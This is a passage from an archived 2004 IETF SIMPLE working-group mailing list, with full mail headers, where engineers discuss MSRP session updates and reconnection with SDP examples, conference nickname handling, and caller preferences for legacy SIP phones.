 > >  > From: simple-admin@ietf.org [mailto:simple-admin@ietf.org]On=20
 > >  > Behalf Of
 > >  > ext Ben Campbell
 > >  > Sent: 15 December, 2003 23:20
 > >  > To: Simple WG
 > >  > Subject: [Simple] MSRP: Some thoughts on session updates
 > >  >=20
 > >  >=20
 > >  > We have had a lot of discussion on how we deal with=20
 > >  > connection failures,=20
 > >  > session continuance across a failure, duplicate supression,=20
 > >  > etc. Much of=20
 > >  > that depends on how we handle session updates. Here are some=20
 > >  > thoughts=20
 > >  > for discussion.
 > >  >=20
 > >  > Although the sense of the room at IETF58 indicated we needed=20
 > >  > a way to=20
 > >  > re-establish TCP connections without resignaling,=20
 > subsequent list=20
 > >  > discussion has indicated consensus that this will not work,=20
 > >  > and we will=20
 > >  > indeed have to re-signal. I am slightly concerned that many=20
 > >  > of those who=20
 > >  > favored reconnection without resignaling at the meeting=20
 > have not=20
 > >  > participated in the email thread. I must assume that means=20
 > >  > they agree ;-)
 > >  >=20
 > >  > Obviously resignaling means a new SDP exchange. For SIP,=20
 > >  > that would mean=20
 > >  > a re-INVITE or an UPDATE. Since the MSRP spec only=20
 > tangentally talks=20
 > >  > about sip, I think the re-INVITE vs UPDATE question is out=20
 > >  > of scope, and=20
 > >  > is treated sufficiently well in the UPDATE rfc.
 > >  >=20
 > >  > So, here are some assumptions and observations about=20
 > how an updated=20
 > >  > offer/answer would work.
 > >  >=20
 > >  > 0) We don't have to worry about early media. (I expect=20
 > this to be=20
 > >  > controversial, but I can always hope. The following are=20
 > >  > based on that=20
 > >  > assumption.)
 > >  >=20
 > >  > 1) The active party must remain the active party. If the=20
 > >  > active party=20
 > >  > initiates an updated offer, it MUST NOT contain a session URL.
 > >  >=20
 > >  > 2) The passive party must remain the passive party. If the=20
 > >  > passive party=20
 > >  > initates an updated offer, it MUST contain a session URL.=20
 > >  > This updated=20
 > >  > URL may be the same as before, or may be completely=20
 > different, even=20
 > >  > pointing to a completely different location.
 > >  >=20
 > >  > 3)If the passive party sends an updated offer with a=20
 > semantically=20
 > >  > identical URL as the original, this indicates no change. (I=20
 > >  > don't know=20
 > >  > why you would do this, but Paul asked for an example of an=20
 > >  > update that=20
 > >  > changes nothing.) Interestingly, the active party=20
 > _cannot_ send an=20
 > >  > updated without giving the active party a chance to=20
 > provide a new=20
 > >  > session URL.
 > >  >=20
 > >  > 4) A corrolary of 1) and 2) is that direction=3Dboth would not =
be=20
 > >  > permitted for an update.
 > >  >=20
 > >  > 5) Updated offers can occur for both healthy sessions and as=20
 > >  > a result of=20
 > >  > connection failures, etc.
 > >  >=20
 > >  > Thoughts?
 > >  >=20
 > >  > Ben.
 > >  >=20
 > >  >=20
 > >  > _______________________________________________
 > >  > Simple mailing list
 > >  > Simple@ietf.org
 > >  > https://www1.ietf.org/mailman/listinfo/simple
 > >  >=20
 >=20
 >=20
 >=20

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From exim@www1.ietf.org  Tue Mar 30 17:45:02 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA19552
	for <simple-archive@odin.ietf.org>; Tue, 30 Mar 2004 17:45:02 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8Rjk-0006YH-MK
	for simple-archive@odin.ietf.org; Tue, 30 Mar 2004 17:29:36 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i218U6nA001578
	for simple-archive@odin.ietf.org; Mon, 1 Mar 2004 03:30:06 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxioL-0000PF-Vn
	for simple-web-archive@optimus.ietf.org; Mon, 01 Mar 2004 03:30:02 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA01924
	for <simple-web-archive@ietf.org>; Mon, 1 Mar 2004 03:30:00 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxioJ-0005mQ-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 03:29:59 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxinT-0005e1-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 03:29:08 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Aximh-0005V1-00; Mon, 01 Mar 2004 03:28:19 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AximR-0008JZ-Ft; Mon, 01 Mar 2004 03:28:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axilz-0008Dn-8l
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 03:27:35 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA01697
	for <simple@ietf.org>; Mon, 1 Mar 2004 03:27:34 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axilx-0005P3-00
	for simple@ietf.org; Mon, 01 Mar 2004 03:27:33 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axil0-0005E1-00
	for simple@ietf.org; Mon, 01 Mar 2004 03:26:34 -0500
Received: from mgw-x1.nokia.com ([131.228.20.21])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axijy-000534-00
	for simple@ietf.org; Mon, 01 Mar 2004 03:25:30 -0500
Received: from esdks003.ntc.nokia.com (esdks003.ntc.nokia.com [172.21.138.158])
	by mgw-x1.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i218POT24386;
	Mon, 1 Mar 2004 10:25:24 +0200 (EET)
X-Scanned: Mon, 1 Mar 2004 10:24:21 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks003.ntc.nokia.com (8.12.9/8.12.9) id i218OLCT014156;
	Mon, 1 Mar 2004 10:24:21 +0200
Received: from mgw-int2.ntc.nokia.com (172.21.143.97)
	by esdks003.ntc.nokia.com 003JMLor; Mon, 01 Mar 2004 10:24:19 EET
Received: from esebh002.NOE.Nokia.com (esebh002.ntc.nokia.com [172.21.138.77])
	by mgw-int2.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i218OIO01959;
	Mon, 1 Mar 2004 10:24:18 +0200 (EET)
Received: from nokia.com ([10.162.252.221]) by esebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Mon, 1 Mar 2004 10:24:05 +0200
Message-ID: <4042F323.300@nokia.com>
From: "Niemi Aki (Nokia-M/Espoo)" <aki.niemi@nokia.com>
User-Agent: Mozilla Thunderbird 0.5 (X11/20040208)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: ext Cullen Jennings <fluffy@cisco.com>
CC: Brian Rosen <Brian.Rosen@marconi.com>,
        Jonathan Rosenberg <jdrosen@dynamicsoft.com>,
        Paul H Kyzivat <pkyzivat@cisco.com>, hisham.khartabil@nokia.com,
        Miguel.An.Garcia@nokia.com, simple@ietf.org
References: <BC651C8A.335B7%fluffy@cisco.com>
In-Reply-To: <BC651C8A.335B7%fluffy@cisco.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-OriginalArrivalTime: 01 Mar 2004 08:24:05.0329 (UTC) FILETIME=[8F59F410:01C3FF66]
Content-Transfer-Encoding: 7bit
Subject: [Simple] Re: Chat Nicknames
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 01 Mar 2004 10:24:03 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit



ext Cullen Jennings wrote:
> I might be missing the boat here but let me ask a question that separates
> stuff. 

I doubt it. I think this particular boat is still covered up in storage, 
waiting for spring. ;)

> Is there a requirement to be able to change you nickname on every message or
> would it be acceptable to set up a new session if you want to change you
> nickname?

I think the requirement is definitely to require a re-INVITE (or 
equivalent) to change the nickname. In fact, once the nick is set within 
the conference, the server ought to administer it as well. Otherwise 
users could impersonate others in the conference.

As I commented in SIPPING this morning, this has many similarities to 
the identity stuff anyway. It's just that in this case, the UAS that the 
UAC wants to tell its name is a conference focus.

One might also imagine a system, where the conference server can assert 
a nickname that has been properly set up beforehand. For example, 
example.com's conference server might have an interface for requesting 
and getting nicknames, perhaps bootstrapped to some existing credentials 
the user may have at example.com. These nicknames could then be used in 
all conferences at that domain.

This would prohibit anyone from stealing a nickname, since it would 
persist over conferences, and the fact that the conference server had 
asserted the nickname could be seen by the other participants.

Similar functionality exists on Internet chatboards, where visitors can 
still post (using an invented nickname), but registered users are 
offered perks like avatars and wider priviledges (and their nickname 
can't be stolen).

> It seems that the name could be set when you set up the session. If this is
> the case, then the display name of the From is very clear you can put any
> alias you want in it. The chat controller can tell you that name is not
> acceptable thought, in practice, there is no fundamental reason you can't
> have people with the same nickname and just have the conf server append
> something to make them unique.

Yes, that's possible. However, how would a participant joining a 
conference request that the From is used instead of, say, 
P-Asserted-Identity? Also, changing the entire From suffers from the rfc 
2543 compatibility problems already mentioned elsewhere. I can also 
think of scenarios where the display name alone is not enough, but there 
is a need for a URI as well. E.g., From/To in CPIM is a display name and 
a URI. This URI may not always be a SIP URI.

> RTP/RTCP had different requirements for this because you could join a
> multicast session with effectively no signaling with all the participants so
> there was a need to continuously and adaptively flow the name information as
> the conference changed. Since this this centralized conferencing, you can
> get the names from the centralized thing.

Exactly. And the centralized point should also police the used nicknames 
so that I won't be able to send messages using someone else's nickname.

> Say two people joined with nick name of anon. The chat mixer may identify
> them as anon1 and anon2 in the session and you can send a private message to
> one of them by sending to location for anon2 (which would be an anonymous
> perhaps on the same box as the mixing was happening on).

Yes, that would work also.

Cheers,
Aki

> Cullen
>  
> 
> 
> 
> 
> 
> 
> 
> 

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From exim@www1.ietf.org  Tue Mar 30 17:48:04 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA20108
	for <simple-archive@odin.ietf.org>; Tue, 30 Mar 2004 17:48:04 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8Rjj-0006WI-Id
	for simple-archive@odin.ietf.org; Tue, 30 Mar 2004 17:29:35 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i07A0fuC005890
	for simple-archive@odin.ietf.org; Wed, 7 Jan 2004 05:00:41 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AeAUR-0001Wm-AM
	for simple-web-archive@optimus.ietf.org; Wed, 07 Jan 2004 05:00:39 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA00854
	for <simple-web-archive@ietf.org>; Wed, 7 Jan 2004 05:00:36 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AeAUN-0006Io-00
	for simple-web-archive@ietf.org; Wed, 07 Jan 2004 05:00:35 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AeASm-00066o-00
	for simple-web-archive@ietf.org; Wed, 07 Jan 2004 04:58:57 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AeAQJ-0005u0-03; Wed, 07 Jan 2004 04:56:24 -0500
Received: from optimus22.ietf.org ([132.151.6.22] helo=optimus.ietf.org)
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1AeADb-0005V1-7e; Wed, 07 Jan 2004 04:43:15 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AeADO-0000iu-JR; Wed, 07 Jan 2004 04:43:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AeACT-0000hG-5R
	for simple@optimus.ietf.org; Wed, 07 Jan 2004 04:42:05 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA29862
	for <simple@ietf.org>; Wed, 7 Jan 2004 04:42:02 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AeACQ-0005AY-00
	for simple@ietf.org; Wed, 07 Jan 2004 04:42:02 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AeAAz-00052m-00
	for simple@ietf.org; Wed, 07 Jan 2004 04:40:33 -0500
Received: from cluster-a.mailcontrol.com ([80.69.8.190] helo=rly07a.srv.mailcontrol.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AeA8n-0004kp-00
	for simple@ietf.org; Wed, 07 Jan 2004 04:38:17 -0500
Received: from gbnewp0186s1.eu.ubiquity.net (news.ubiquity.net [194.202.146.92])
	by rly07a.srv.mailcontrol.com (MailControl) with SMTP id i079bWvX015711;
	Wed, 7 Jan 2004 09:37:33 GMT
Received: from mailhost.eu.ubiquity.net by gbnewp0186s1.eu.ubiquity.net
          via smtpd (for cluster-a.mailcontrol.com [80.69.8.190]) with SMTP; Wed, 7 Jan 2004 09:37:32 +0000
X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
Subject: RE: [Simple] MSRP: Some thoughts on session updates
Message-ID: <45730E094814E44488F789C1CDED27AE01E22F76@gbnewp0758m.eu.ubiquity.net>
Thread-Topic: [Simple] MSRP: Some thoughts on session updates
Thread-Index: AcPUmHam2lfge3o/Sd2KOS7pacWxVgAaUO1g
From: "Chris Boulton" <cboulton@ubiquity.net>
To: "Paul Kyzivat" <pkyzivat@cisco.com>
Cc: "Ben Campbell" <bcampbell@dynamicsoft.com>, <hisham.khartabil@nokia.com>,
        <simple@ietf.org>
X-Scanned-By: MailControl A-02-00-00 (www.mailcontrol.com)
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 7 Jan 2004 09:37:32 -0000
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: quoted-printable
Content-Transfer-Encoding: quoted-printable

That looks good to me ;-)

Chris.


>-----Original Message-----
>From: Paul Kyzivat [mailto:pkyzivat@cisco.com]
>Sent: 06 January 2004 21:03
>To: Chris Boulton
>Cc: Ben Campbell; hisham.khartabil@nokia.com; simple@ietf.org
>Subject: Re: [Simple] MSRP: Some thoughts on session updates
>
>
>
>Chris Boulton wrote:
>>
>> [Chris Boulton] I think we can all recognize that this is a global
>> problem rather than msrp specific.  I like Paul's idea of having an
>> attribute e.g. 'a=3Dreconnect' to indicate the continuation of a
session.
>> Just one question, the version number in the offer will have changed,
>> due to payload change, so how would the msrp client associate a
>> reconnect with an existing session, if multiple exist?
>>
>> e.g. Client A and B currently have 2 connection, one for messaging,
one
>> for file transfer - client B is hosting.  Client A detects failure in
>> one of the connections (Client B has not detected failure) and issues
a
>> new offer via an 'update'.  Client B receives the offer and realizes
>> it's a reconnect.  How does client B know which of the two
connections
>> we are attempting to reconnect?
>
>The attribute is associated with a particular media session. It can be
>inserted into the one for the session that is to be reconnected. It is
>inserted twice if both are to be reconnected.
>
>         Alice->Bob (SIP): INVITE sip:bob@biloxi.com
>
>         c=3DIN IP4 fillername
>         m=3Dmessage 9999 msrp/tcp *
>         a=3Daccept-types:text/plain
>         a=3Ddirection:both
>         a=3Dsession:msrp://alicepc.atlanta.com:7777/iau39
>         a=3Dversion:1
>
>         Bob->Alice (SIP): 200 OK
>
>         c=3DIN IP4 ignorefield
>         m=3Dmessage 9999 msrp/tcp *
>         a=3Daccept-types:text/plain
>         a=3Ddirection:active
>         a=3Dversion:1
>
>Alice then adds another session for file transfer:
>
>         Alice->Bob (SIP): INVITE sip:bob@biloxi.com
>
>         c=3DIN IP4 fillername
>         m=3Dmessage 9999 msrp/tcp *
>         a=3Daccept-types:text/plain
>         a=3Ddirection:both
>         a=3Dversion:1
>         m=3Dmessage 9998 msrp/tcp *
>         a=3Daccept-types:application/pdf
>         a=3Ddirection:passive
>         a=3Dsendonly
>         a=3Dsession:msrp://alicepc.atlanta.com:7777/iau40
>         a=3Dversion:1
>
>         Bob->Alice (SIP): 200 OK
>
>         c=3DIN IP4 ignorefield
>         m=3Dmessage 9999 msrp/tcp *
>         a=3Daccept-types:text/plain
>         a=3Ddirection:active
>         a=3Dversion:1
>         m=3Dmessage 9998 msrp/tcp *
>         a=3Daccept-types:application/pdf
>         a=3Ddirection:active
>         a=3Drecvonly
>         a=3Dversion:1
>
>Bob later discovers something wrong with the file transfer:
>
>         Bob->Alice (SIP): (re)INVITE sip:alice-gruu@atlanta.com
>
>         c=3DIN IP4 ignorefield
>         m=3Dmessage 9999 msrp/tcp *
>         a=3Daccept-types:text/plain
>         a=3Ddirection:active
>         a=3Dversion:1
>         m=3Dmessage 9999 msrp/tcp *
>         a=3Daccept-types:application/pdf
>         a=3Ddirection:active
>         a=3Drecvonly
>         a=3Dversion:2
>
>Alice sees that the version for the first session is unchanged and so
>does nothing with it. But the version for the 2nd session is changed,
so
>she starts listening again for a new connection, and responds:
>
>         Alice->Bob (SIP): 200 OK
>
>         c=3DIN IP4 fillername
>         m=3Dmessage 9999 msrp/tcp *
>         a=3Daccept-types:text/plain
>         a=3Ddirection:passive
>         a=3Dversion:1
>         m=3Dmessage 9999 msrp/tcp *
>         a=3Daccept-types:application/pdf
>         a=3Ddirection:passive
>         a=3Dsendonly
>         a=3Dsession:msrp://alicepc.atlanta.com:7777/iau41
>         a=3Dversion:2
>
>A subsequent offer/answer that didn't want to change anything could use
>these same sdp bodies.
>
>	Paul
>
>



This message has been scanned for viruses by MailControl - www.mailcontrol.=
com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From exim@www1.ietf.org  Tue Mar 30 17:48:34 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA20228
	for <simple-archive@odin.ietf.org>; Tue, 30 Mar 2004 17:48:34 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8Rjj-0006Zv-3e
	for simple-archive@odin.ietf.org; Tue, 30 Mar 2004 17:29:35 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i239RbvY008163
	for simple-archive@odin.ietf.org; Wed, 3 Mar 2004 04:27:37 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AySf4-0001yK-1G
	for simple-web-archive@optimus.ietf.org; Wed, 03 Mar 2004 04:27:30 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA13456
	for <simple-web-archive@ietf.org>; Wed, 3 Mar 2004 04:26:39 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AySeE-00070g-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 04:26:38 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AySdD-0006kn-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 04:25:36 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyScH-0006Z4-00; Wed, 03 Mar 2004 04:24:37 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AySbz-00010H-WE; Wed, 03 Mar 2004 04:24:20 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyRaM-0003pL-N4
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 03:18:39 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA10058
	for <simple@ietf.org>; Wed, 3 Mar 2004 03:18:13 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyRa0-00039z-00
	for simple@ietf.org; Wed, 03 Mar 2004 03:18:12 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyRZ0-00031w-00
	for simple@ietf.org; Wed, 03 Mar 2004 03:17:11 -0500
Received: from sj-iport-3-in.cisco.com ([171.71.176.72] helo=sj-iport-3.cisco.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyRYF-0002nE-00
	for simple@ietf.org; Wed, 03 Mar 2004 03:16:23 -0500
Received: from sj-core-1.cisco.com (171.71.177.237)
  by sj-iport-3.cisco.com with ESMTP; 03 Mar 2004 00:28:14 +0000
Received: from mira-sjc5-b.cisco.com (IDENT:mirapoint@mira-sjc5-b.cisco.com [171.71.163.14])
	by sj-core-1.cisco.com (8.12.10/8.12.6) with ESMTP id i238FpF8010693;
	Wed, 3 Mar 2004 00:15:52 -0800 (PST)
Received: from [127.0.0.1] (ssh-sjc-1.cisco.com [171.68.225.134])
	by mira-sjc5-b.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id AQV50428;
	Wed, 3 Mar 2004 00:15:49 -0800 (PST)
In-Reply-To: <9ACE0CEE075B494096C86C23878BF85906A35E@dyn-tx-exch-001.dynamicsoft.com>
References: <9ACE0CEE075B494096C86C23878BF85906A35E@dyn-tx-exch-001.dynamicsoft.com>
Mime-Version: 1.0 (Apple Message framework v612)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Message-Id: <193AEAD0-6CEB-11D8-99D4-0003938AF740@cisco.com>
Content-Transfer-Encoding: 7bit
Cc: "'Paul Kyzivat'" <pkyzivat@cisco.com>,
        Ben Campbell <bcampbell@dynamicsoft.com>, Rohan Mahy <rohan@cisco.com>,
        "'Cullen Jennings'" <fluffy@cisco.com>,
        Robert Sparks <rsparks@dynamicsoft.com>, simple@ietf.org
From: Rohan Mahy <rohan@cisco.com>
Subject: Re: [Simple] RE: MSRP & Comedia
To: Adam Roach <adam@dynamicsoft.com>
X-Mailer: Apple Mail (2.612)
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 3 Mar 2004 17:16:40 +0900
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

Adam,

You could use caller prefs even with your rusty/dusty/trusty "legacy" 
SIP phone  ;-).

You would need something to add media feature parameters to the 
registration of the 7960 on its behalf.  This is not that big a deal.

thanks,
-rohan


On Mar 3, 2004, at 4:49 PM, Adam Roach wrote:

> That's all great. Now tell me how it works using
> the Cisco 7960 sitting on my desk right now. Assume
> that upgrading the software is not an option.
>
> /a
>
>> -----Original Message-----
>> From: Paul Kyzivat [mailto:pkyzivat@cisco.com]
>> Sent: Tuesday, March 02, 2004 20:09
>> To: Adam Roach
>> Cc: 'Cullen Jennings'; Ben Campbell; Robert Sparks; Rohan Mahy;
>> simple@ietf.org
>> Subject: Re: [Simple] RE: MSRP & Comedia
>>
>>
>> There are a couple of solutions to the bad user experience
>> you outline:
>>
>> - the UAC can use callerprefs to indicate what media it desires.
>>    For this to work the UAS would have to evaluate the callerprefs,
>>    which isn't currently required or expected.
>>
>> - preconditions could be used to ensure that there is a satisfactory
>>    agreement on media before alerting. In this particular
>> case it would
>>    be the UAS that inserts the preconditions as a way of improving the
>>    user experience at its end. Most any precondition would do, though
>>    the newly proposed connectivity precondition would be quite
>>    appropriate. A hypothetical new precondition relating to
>> negotiation
>>    of some acceptable (set of) media stream(s) might also be
>> interesting.
>>
>> Paul
>>
>> Adam Roach wrote:
>>> Okay, so, the user experience you're promoting
>>> here would lead to a situation in which you open
>>> up your IM client, type in a message for me,
>>> and my desktop hard phone starts ringing. Several
>>> seconds later, I pick up the receiver, my hardphone
>>> sends a "200 OK" response, and... well, nothing
>>> good can come of any result at this point.
>>>
>>> If your client supports audio, my voice is suddenly
>>> coming out of your PC speakers. If not, the call
>>> is torn down, your client renders an error to you,
>>> sends me a bye, and I'm sitting there holding a dead
>>> handset.
>>>
>>> This is the problem that I've pointed out occasionally
>>> for several years: this "send an INVITE with no body"
>>> approach for setting up sessions causes all kinds
>>> of problems. It was originally added for interwork
>>> with the prehistoric H.323v1 procedures, and not killed
>>> because we observed that it can be used in this clever
>>> 3pcc hack -- but it invariably leads to a message that
>>> semantically means the same thing as the dialog
>>> box that I sent earlier.
>>>
>>> /a
>>>
>>>
>>>> -----Original Message-----
>>>> From: Cullen Jennings [mailto:fluffy@cisco.com]
>>>> Sent: Monday, March 01, 2004 8:38
>>>> To: Adam Roach; Ben Campbell; Robert Sparks; Rohan Mahy
>>>> Cc: simple@ietf.org
>>>> Subject: Re: [Simple] RE: MSRP & Comedia
>>>>
>>>>
>>>>
>>>> It just sends an offer with all three and then the other ends
>>>> selects. This
>>>> is how SIP is today - you can send an invite with no offer
>>>> then get the
>>>> offer in the response and put the answer in the ack.
>>>>
>>>> On 3/1/04 10:41 AM, "Adam Roach" <adam@dynamicsoft.com> wrote:
>>>>
>>>>
>>>>> From a protocol perspective, this sounds reasonable.
>>>>>
>>>>> I think the key problem is that the first example shifts the
>>>>> decision of what type of communication is requested
>>>>> from the caller to the callee. Without getting into a discussion
>>>>> of whether that is the "right" thing to do, it certainly is
>>>>> going to differ from user expectations.
>>>>>
>>>>> +----------------------------------------------+
>>>>> | Cullen Jennings <sip:fluffy@cisco.com> wants |
>>>>> | to start a conversation, but I have no idea  |
>>>>> | what kind. Take your best guess:             |
>>>>> |                                              |
>>>>> |    +-------+  +-----------------+  +----+    |
>>>>> |    | Voice |  | Voice and video |  | IM |    |
>>>>> |    +-------+  +-----------------+  +----+    |
>>>>> +----------------------------------------------+
>>>>>
>>>>> /a
>>>>>
>>>>>
>>>>>> -----Original Message-----
>>>>>> From: Cullen Jennings [mailto:fluffy@cisco.com]
>>>>>> Sent: Friday, February 27, 2004 0:50
>>>>>> To: Ben Campbell; Robert Sparks; Rohan Mahy; Adam Roach
>>>>>> Cc: simple@ietf.org
>>>>>> Subject: MSRP & Comedia
>>>>>>
>>>>>>
>>>>>>
>>>>>> This is a half baked idea that I am just tossing out as food
>>>>>> for thought
>>>>>>
>>>>>> Consider a systems where something like the UA that sends the
>>>>>> answer sends
>>>>>> the VISIT.
>>>>>>
>>>>>> Consider the cases where A want to set up a MSRP session with B.
>>>>>>
